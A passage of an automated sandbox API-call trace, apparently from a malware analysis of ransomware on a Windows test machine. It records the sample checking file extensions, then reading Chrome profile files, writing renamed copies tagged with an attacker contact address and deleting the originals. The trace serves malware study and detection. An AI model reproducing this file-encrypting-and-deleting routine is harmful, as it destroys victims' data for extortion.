lpBuffer=0x3e20020*, lpNumberOfBytesWritten=0x329fc9c*=0xe0, lpOverlapped=0x0) returned 1 [0177.399] SetEndOfFile (hFile=0x160) returned 1 [0177.400] CloseHandle (hObject=0x160) returned 1 [0177.400] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329fec8 | out: lpNewFilePointer=0x0) returned 1 [0177.400] SetEndOfFile (hFile=0x1b4) returned 1 [0177.403] CloseHandle (hObject=0x1b4) returned 1 [0177.403] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cache\\data_1.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0177.403] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cache\\data_1" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\cache\\data_1")) returned 1 [0177.403] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cache\\data_1") returned 88 [0177.403] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cache\\data_1") returned 88 [0177.403] lstrlenW (lpString=".doc") returned 4 [0177.403] lstrcmpiW (lpString1=".doc", lpString2="ta_1") returned -1 [0177.403] lstrlenW (lpString=".docx") returned 5 [0177.403] lstrcmpiW (lpString1=".docx", lpString2="ata_1") returned -1 [0177.403] lstrlenW (lpString=".pdf") returned 4 [0177.403] lstrcmpiW (lpString1=".pdf", lpString2="ta_1") returned -1 [0177.403] lstrlenW (lpString=".xls") returned 4 [0177.403] lstrcmpiW (lpString1=".xls", lpString2="ta_1") returned -1 [0177.403] lstrlenW (lpString=".xlsx") returned 5 [0177.403] lstrcmpiW (lpString1=".xlsx", lpString2="ata_1") returned -1 [0177.403] lstrlenW (lpString=".ppt") returned 4 [0177.404] lstrcmpiW (lpString1=".ppt", lpString2="ta_1") returned -1 [0177.404] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cache\\data_1") returned 88 [0177.404] lstrlenW (lpString=".zip") returned 4 [0177.404] lstrcmpiW (lpString1=".zip", lpString2="ta_1") returned -1 [0177.404] lstrlenW (lpString=".rar") returned 4 [0177.404] lstrcmpiW (lpString1=".rar", lpString2="ta_1") returned -1 [0177.404] lstrlenW (lpString=".bz2") returned 4 [0177.404] lstrcmpiW (lpString1=".bz2", lpString2="ta_1") returned -1 [0177.404] lstrlenW (lpString=".7z") returned 3 [0177.404] lstrcmpiW (lpString1=".7z", lpString2="a_1") returned -1 [0177.404] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cache\\data_1") returned 88 [0177.404] lstrlenW (lpString=".dbf") returned 4 [0177.404] lstrcmpiW (lpString1=".dbf", lpString2="ta_1") returned -1 [0177.404] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cache\\data_1") returned 88 [0177.404] lstrlenW (lpString=".1cd") returned 4 [0177.404] lstrcmpiW (lpString1=".1cd", lpString2="ta_1") returned -1 [0177.404] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cache\\data_1") returned 88 [0177.404] lstrlenW (lpString=".jpg") returned 4 [0177.404] lstrcmpiW (lpString1=".jpg", lpString2="ta_1") returned -1 [0177.404] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cache\\data_1") returned 88 [0177.404] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cache\\data_1") returned 88 [0177.404] lstrlenW (lpString=".doc") returned 4 [0177.404] lstrcmpiW (lpString1=".doc", lpString2="ta_1") returned -1 [0177.404] lstrlenW (lpString=".docx") returned 5 [0177.404] lstrcmpiW (lpString1=".docx", lpString2="ata_1") returned -1 [0177.404] lstrlenW (lpString=".pdf") returned 4 [0177.404] lstrcmpiW (lpString1=".pdf", lpString2="ta_1") returned -1 [0177.404] lstrlenW (lpString=".xls") returned 4 [0177.404] lstrcmpiW (lpString1=".xls", lpString2="ta_1") returned -1 [0177.404] lstrlenW (lpString=".xlsx") returned 5 [0177.405] lstrcmpiW (lpString1=".xlsx", lpString2="ata_1") returned -1 [0177.405] lstrlenW (lpString=".ppt") returned 4 [0177.405] lstrcmpiW (lpString1=".ppt", lpString2="ta_1") returned -1 [0177.405] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cache\\data_1") returned 88 [0177.405] lstrlenW (lpString=".zip") returned 4 [0177.405] lstrcmpiW (lpString1=".zip", lpString2="ta_1") returned -1 [0177.405] lstrlenW (lpString=".rar") returned 4 [0177.405] lstrcmpiW (lpString1=".rar", lpString2="ta_1") returned -1 [0177.405] lstrlenW (lpString=".bz2") returned 4 [0177.405] lstrcmpiW (lpString1=".bz2", lpString2="ta_1") returned -1 [0177.405] lstrlenW (lpString=".7z") returned 3 [0177.405] lstrcmpiW (lpString1=".7z", lpString2="a_1") returned -1 [0177.405] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cache\\data_1") returned 88 [0177.405] lstrlenW (lpString=".dbf") returned 4 [0177.405] lstrcmpiW (lpString1=".dbf", lpString2="ta_1") returned -1 [0177.405] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cache\\data_1") returned 88 [0177.405] lstrlenW (lpString=".1cd") returned 4 [0177.405] lstrcmpiW (lpString1=".1cd", lpString2="ta_1") returned -1 [0177.405] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cache\\data_1") returned 88 [0177.405] lstrlenW (lpString=".jpg") returned 4 [0177.405] lstrcmpiW (lpString1=".jpg", lpString2="ta_1") returned -1 [0177.405] lstrlenW (lpString="LOCK") returned 4 [0177.405] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\data_reduction_proxy_leveldb\\LOCK" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\data_reduction_proxy_leveldb\\lock"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x124 [0177.726] GetFileSizeEx (in: hFile=0x124, lpFileSize=0x329ff1c | out: lpFileSize=0x329ff1c*=0) returned 1 [0177.726] CloseHandle (hObject=0x124) returned 1 [0177.726] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\data_reduction_proxy_leveldb\\LOCK") returned 109 [0177.726] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\data_reduction_proxy_leveldb\\LOCK") returned 109 [0177.726] lstrlenW (lpString=".doc") returned 4 [0177.726] lstrcmpiW (lpString1=".doc", lpString2="LOCK") returned -1 [0177.726] lstrlenW (lpString=".docx") returned 5 [0177.726] lstrcmpiW (lpString1=".docx", lpString2="\\LOCK") returned -1 [0177.726] lstrlenW (lpString=".pdf") returned 4 [0177.726] lstrcmpiW (lpString1=".pdf", lpString2="LOCK") returned -1 [0177.726] lstrlenW (lpString=".xls") returned 4 [0177.726] lstrcmpiW (lpString1=".xls", lpString2="LOCK") returned -1 [0177.726] lstrlenW (lpString=".xlsx") returned 5 [0177.726] lstrcmpiW (lpString1=".xlsx", lpString2="\\LOCK") returned -1 [0177.726] lstrlenW (lpString=".ppt") returned 4 [0177.726] lstrcmpiW (lpString1=".ppt", lpString2="LOCK") returned -1 [0177.726] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\data_reduction_proxy_leveldb\\LOCK") returned 109 [0177.726] lstrlenW (lpString=".zip") returned 4 [0177.726] lstrcmpiW (lpString1=".zip", lpString2="LOCK") returned -1 [0177.726] lstrlenW (lpString=".rar") returned 4 [0177.726] lstrcmpiW (lpString1=".rar", lpString2="LOCK") returned -1 [0177.727] lstrlenW (lpString=".bz2") returned 4 [0177.727] lstrcmpiW (lpString1=".bz2", lpString2="LOCK") returned -1 [0177.727] lstrlenW (lpString=".7z") returned 3 [0177.727] lstrcmpiW (lpString1=".7z", lpString2="OCK") returned -1 [0177.727] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\data_reduction_proxy_leveldb\\LOCK") returned 109 [0177.727] lstrlenW (lpString=".dbf") returned 4 [0177.727] lstrcmpiW (lpString1=".dbf", lpString2="LOCK") returned -1 [0177.727] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\data_reduction_proxy_leveldb\\LOCK") returned 109 [0177.727] lstrlenW (lpString=".1cd") returned 4 [0177.727] lstrcmpiW (lpString1=".1cd", lpString2="LOCK") returned -1 [0177.727] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\data_reduction_proxy_leveldb\\LOCK") returned 109 [0177.727] lstrlenW (lpString=".jpg") returned 4 [0177.727] lstrcmpiW (lpString1=".jpg", lpString2="LOCK") returned -1 [0177.727] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\data_reduction_proxy_leveldb\\LOCK") returned 109 [0177.727] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\data_reduction_proxy_leveldb\\LOCK") returned 109 [0177.727] lstrlenW (lpString=".doc") returned 4 [0177.727] lstrcmpiW (lpString1=".doc", lpString2="LOCK") returned -1 [0177.727] lstrlenW (lpString=".docx") returned 5 [0177.727] lstrcmpiW (lpString1=".docx", lpString2="\\LOCK") returned -1 [0177.727] lstrlenW (lpString=".pdf") returned 4 [0177.727] lstrcmpiW (lpString1=".pdf", lpString2="LOCK") returned -1 [0177.727] lstrlenW (lpString=".xls") returned 4 [0177.727] lstrcmpiW (lpString1=".xls", lpString2="LOCK") returned -1 [0177.727] lstrlenW (lpString=".xlsx") returned 5 [0177.727] lstrcmpiW (lpString1=".xlsx", lpString2="\\LOCK") returned -1 [0177.727] lstrlenW (lpString=".ppt") returned 4 [0177.727] lstrcmpiW (lpString1=".ppt", lpString2="LOCK") returned -1 [0177.727] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\data_reduction_proxy_leveldb\\LOCK") returned 109 [0177.728] lstrlenW (lpString=".zip") returned 4 [0177.728] lstrcmpiW (lpString1=".zip", lpString2="LOCK") returned -1 [0177.728] lstrlenW (lpString=".rar") returned 4 [0177.728] lstrcmpiW (lpString1=".rar", lpString2="LOCK") returned -1 [0177.728] lstrlenW (lpString=".bz2") returned 4 [0177.728] lstrcmpiW (lpString1=".bz2", lpString2="LOCK") returned -1 [0177.728] lstrlenW (lpString=".7z") returned 3 [0177.728] lstrcmpiW (lpString1=".7z", lpString2="OCK") returned -1 [0177.728] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\data_reduction_proxy_leveldb\\LOCK") returned 109 [0177.728] lstrlenW (lpString=".dbf") returned 4 [0177.728] lstrcmpiW (lpString1=".dbf", lpString2="LOCK") returned -1 [0177.728] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\data_reduction_proxy_leveldb\\LOCK") returned 109 [0177.728] lstrlenW (lpString=".1cd") returned 4 [0177.728] lstrcmpiW (lpString1=".1cd", lpString2="LOCK") returned -1 [0177.728] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\data_reduction_proxy_leveldb\\LOCK") returned 109 [0177.728] lstrlenW (lpString=".jpg") returned 4 [0177.728] lstrcmpiW (lpString1=".jpg", lpString2="LOCK") returned -1 [0177.728] lstrlenW (lpString="MANIFEST-000001") returned 15 [0177.728] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension State\\MANIFEST-000001" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extension state\\manifest-000001"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x124 [0177.729] GetFileSizeEx (in: hFile=0x124, lpFileSize=0x329ff1c | out: lpFileSize=0x329ff1c*=41) returned 1 [0177.729] CloseHandle (hObject=0x124) returned 1 [0177.729] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension State\\MANIFEST-000001" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extension state\\manifest-000001")) returned 0x2020 [0177.729] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension State\\MANIFEST-000001.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extension state\\manifest-000001.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0177.729] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension State\\MANIFEST-000001" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extension state\\manifest-000001"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x124 [0177.729] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329fec8 | out: lpNewFilePointer=0x0) returned 1 [0177.729] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329fec8 | out: lpNewFilePointer=0x0) returned 1 [0177.729] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension State\\MANIFEST-000001.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extension state\\manifest-000001.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0177.730] GetLastError () returned 0x0 [0177.730] ReadFile (in: hFile=0x124, lpBuffer=0x3e20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x329fed4, lpOverlapped=0x0 | out: lpBuffer=0x3e20020*, lpNumberOfBytesRead=0x329fed4*=0x29, lpOverlapped=0x0) returned 1 [0177.730] WriteFile (in: hFile=0x198, lpBuffer=0x3e20020*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x329fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e20020*, lpNumberOfBytesWritten=0x329fc9c*=0x30, lpOverlapped=0x0) returned 1 [0177.731] ReadFile (in: hFile=0x124, lpBuffer=0x3e20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x329fed4, lpOverlapped=0x0 | out: lpBuffer=0x3e20020*, lpNumberOfBytesRead=0x329fed4*=0x0, lpOverlapped=0x0) returned 1 [0177.731] WriteFile (in: hFile=0x198, lpBuffer=0x3e20020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x329fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e20020*, lpNumberOfBytesWritten=0x329fc9c*=0xf2, lpOverlapped=0x0) returned 1 [0177.731] SetEndOfFile (hFile=0x198) returned 1 [0177.732] CloseHandle (hObject=0x198) returned 1 [0177.732] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329fec8 | out: lpNewFilePointer=0x0) returned 1 [0177.732] SetEndOfFile (hFile=0x124) returned 1 [0177.732] CloseHandle (hObject=0x124) returned 1 [0177.733] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension State\\MANIFEST-000001.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0177.733] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension State\\MANIFEST-000001" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extension state\\manifest-000001")) returned 1 [0177.733] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension State\\MANIFEST-000001") returned 107 [0177.733] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension State\\MANIFEST-000001") returned 107 [0177.733] lstrlenW (lpString=".doc") returned 4 [0177.733] lstrcmpiW (lpString1=".doc", lpString2="0001") returned -1 [0177.733] lstrlenW (lpString=".docx") returned 5 [0177.733] lstrcmpiW (lpString1=".docx", lpString2="00001") returned -1 [0177.733] lstrlenW (lpString=".pdf") returned 4 [0177.733] lstrcmpiW (lpString1=".pdf", lpString2="0001") returned -1 [0177.733] lstrlenW (lpString=".xls") returned 4 [0177.733] lstrcmpiW (lpString1=".xls", lpString2="0001") returned -1 [0177.733] lstrlenW (lpString=".xlsx") returned 5 [0177.733] lstrcmpiW (lpString1=".xlsx", lpString2="00001") returned -1 [0177.733] lstrlenW (lpString=".ppt") returned 4 [0177.733] lstrcmpiW (lpString1=".ppt", lpString2="0001") returned -1 [0177.733] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension State\\MANIFEST-000001") returned 107 [0177.733] lstrlenW (lpString=".zip") returned 4 [0177.733] lstrcmpiW (lpString1=".zip", lpString2="0001") returned -1 [0177.733] lstrlenW (lpString=".rar") returned 4 [0177.733] lstrcmpiW (lpString1=".rar", lpString2="0001") returned -1 [0177.733] lstrlenW (lpString=".bz2") returned 4 [0177.734] lstrcmpiW (lpString1=".bz2", lpString2="0001") returned -1 [0177.734] lstrlenW (lpString=".7z") returned 3 [0177.734] lstrcmpiW (lpString1=".7z", lpString2="001") returned -1 [0177.734] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension State\\MANIFEST-000001") returned 107 [0177.734] lstrlenW (lpString=".dbf") returned 4 [0177.734] lstrcmpiW (lpString1=".dbf", lpString2="0001") returned -1 [0177.734] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension State\\MANIFEST-000001") returned 107 [0177.734] lstrlenW (lpString=".1cd") returned 4 [0177.734] lstrcmpiW (lpString1=".1cd", lpString2="0001") returned -1 [0177.734] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension State\\MANIFEST-000001") returned 107 [0177.734] lstrlenW (lpString=".jpg") returned 4 [0177.734] lstrcmpiW (lpString1=".jpg", lpString2="0001") returned -1 [0177.734] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension State\\MANIFEST-000001") returned 107 [0177.734] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension State\\MANIFEST-000001") returned 107 [0177.734] lstrlenW (lpString=".doc") returned 4 [0177.734] lstrcmpiW (lpString1=".doc", lpString2="0001") returned -1 [0177.734] lstrlenW (lpString=".docx") returned 5 [0177.734] lstrcmpiW (lpString1=".docx", lpString2="00001") returned -1 [0177.734] lstrlenW (lpString=".pdf") returned 4 [0177.734] lstrcmpiW (lpString1=".pdf", lpString2="0001") returned -1 [0177.734] lstrlenW (lpString=".xls") returned 4 [0177.734] lstrcmpiW (lpString1=".xls", lpString2="0001") returned -1 [0177.734] lstrlenW (lpString=".xlsx") returned 5 [0177.734] lstrcmpiW (lpString1=".xlsx", lpString2="00001") returned -1 [0177.734] lstrlenW (lpString=".ppt") returned 4 [0177.734] lstrcmpiW (lpString1=".ppt", lpString2="0001") returned -1 [0177.734] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension State\\MANIFEST-000001") returned 107 [0177.953] lstrlenW (lpString=".zip") returned 4 [0177.982] lstrcmpiW (lpString1=".zip", lpString2="0001") returned -1 [0177.982] lstrlenW (lpString=".rar") returned 4 [0177.982] lstrcmpiW (lpString1=".rar", lpString2="0001") returned -1 [0177.982] lstrlenW (lpString=".bz2") returned 4 [0177.982] lstrcmpiW (lpString1=".bz2", lpString2="0001") returned -1 [0177.982] lstrlenW (lpString=".7z") returned 3 [0177.982] lstrcmpiW (lpString1=".7z", lpString2="001") returned -1 [0177.982] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension State\\MANIFEST-000001") returned 107 [0177.982] lstrlenW (lpString=".dbf") returned 4 [0177.982] lstrcmpiW (lpString1=".dbf", lpString2="0001") returned -1 [0177.982] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension State\\MANIFEST-000001") returned 107 [0177.982] lstrlenW (lpString=".1cd") returned 4 [0177.982] lstrcmpiW (lpString1=".1cd", lpString2="0001") returned -1 [0177.982] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension State\\MANIFEST-000001") returned 107 [0177.982] lstrlenW (lpString=".jpg") returned 4 [0177.982] lstrcmpiW (lpString1=".jpg", lpString2="0001") returned -1 [0177.982] lstrlenW (lpString="LOCK") returned 4 [0177.982] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Local Extension Settings\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\LOCK" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\local extension settings\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\lock"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0177.983] GetFileSizeEx (in: hFile=0x1ac, lpFileSize=0x329ff1c | out: lpFileSize=0x329ff1c*=0) returned 1 [0177.983] CloseHandle (hObject=0x1ac) returned 1 [0177.983] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Local Extension Settings\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\LOCK") returned 138 [0177.983] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Local Extension Settings\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\LOCK") returned 138 [0177.983] lstrlenW (lpString=".doc") returned 4 [0177.983] lstrcmpiW (lpString1=".doc", lpString2="LOCK") returned -1 [0177.983] lstrlenW (lpString=".docx") returned 5 [0177.983] lstrcmpiW (lpString1=".docx", lpString2="\\LOCK") returned -1 [0177.983] lstrlenW (lpString=".pdf") returned 4 [0177.983] lstrcmpiW (lpString1=".pdf", lpString2="LOCK") returned -1 [0177.983] lstrlenW (lpString=".xls") returned 4 [0177.983] lstrcmpiW (lpString1=".xls", lpString2="LOCK") returned -1 [0177.983] lstrlenW (lpString=".xlsx") returned 5 [0177.983] lstrcmpiW (lpString1=".xlsx", lpString2="\\LOCK") returned -1 [0177.983] lstrlenW (lpString=".ppt") returned 4 [0177.983] lstrcmpiW (lpString1=".ppt", lpString2="LOCK") returned -1 [0177.983] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Local Extension Settings\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\LOCK") returned 138 [0177.983] lstrlenW (lpString=".zip") returned 4 [0177.983] lstrcmpiW (lpString1=".zip", lpString2="LOCK") returned -1 [0177.983] lstrlenW (lpString=".rar") returned 4 [0177.983] lstrcmpiW (lpString1=".rar", lpString2="LOCK") returned -1 [0177.983] lstrlenW (lpString=".bz2") returned 4 [0177.984] lstrcmpiW (lpString1=".bz2", lpString2="LOCK") returned -1 [0177.984] lstrlenW (lpString=".7z") returned 3 [0177.984] lstrcmpiW (lpString1=".7z", lpString2="OCK") returned -1 [0177.984] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Local Extension Settings\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\LOCK") returned 138 [0177.984] lstrlenW (lpString=".dbf") returned 4 [0177.984] lstrcmpiW (lpString1=".dbf", lpString2="LOCK") returned -1 [0177.984] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Local Extension Settings\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\LOCK") returned 138 [0177.984] lstrlenW (lpString=".1cd") returned 4 [0177.984] lstrcmpiW (lpString1=".1cd", lpString2="LOCK") returned -1 [0177.984] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Local Extension Settings\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\LOCK") returned 138 [0177.984] lstrlenW (lpString=".jpg") returned 4 [0177.984] lstrcmpiW (lpString1=".jpg", lpString2="LOCK") returned -1 [0177.984] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Local Extension Settings\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\LOCK") returned 138 [0177.984] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Local Extension Settings\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\LOCK") returned 138 [0177.984] lstrlenW (lpString=".doc") returned 4 [0177.984] lstrcmpiW (lpString1=".doc", lpString2="LOCK") returned -1 [0177.984] lstrlenW (lpString=".docx") returned 5 [0177.984] lstrcmpiW (lpString1=".docx", lpString2="\\LOCK") returned -1 [0177.984] lstrlenW (lpString=".pdf") returned 4 [0177.984] lstrcmpiW (lpString1=".pdf", lpString2="LOCK") returned -1 [0177.984] lstrlenW (lpString=".xls") returned 4 [0177.984] lstrcmpiW (lpString1=".xls", lpString2="LOCK") returned -1 [0177.984] lstrlenW (lpString=".xlsx") returned 5 [0177.984] lstrcmpiW (lpString1=".xlsx", lpString2="\\LOCK") returned -1 [0177.984] lstrlenW (lpString=".ppt") returned 4 [0177.984] lstrcmpiW (lpString1=".ppt", lpString2="LOCK") returned -1 [0177.984] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Local Extension Settings\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\LOCK") returned 138 [0177.985] lstrlenW (lpString=".zip") returned 4 [0177.985] lstrcmpiW (lpString1=".zip", lpString2="LOCK") returned -1 [0177.985] lstrlenW (lpString=".rar") returned 4 [0177.985] lstrcmpiW (lpString1=".rar", lpString2="LOCK") returned -1 [0177.985] lstrlenW (lpString=".bz2") returned 4 [0177.985] lstrcmpiW 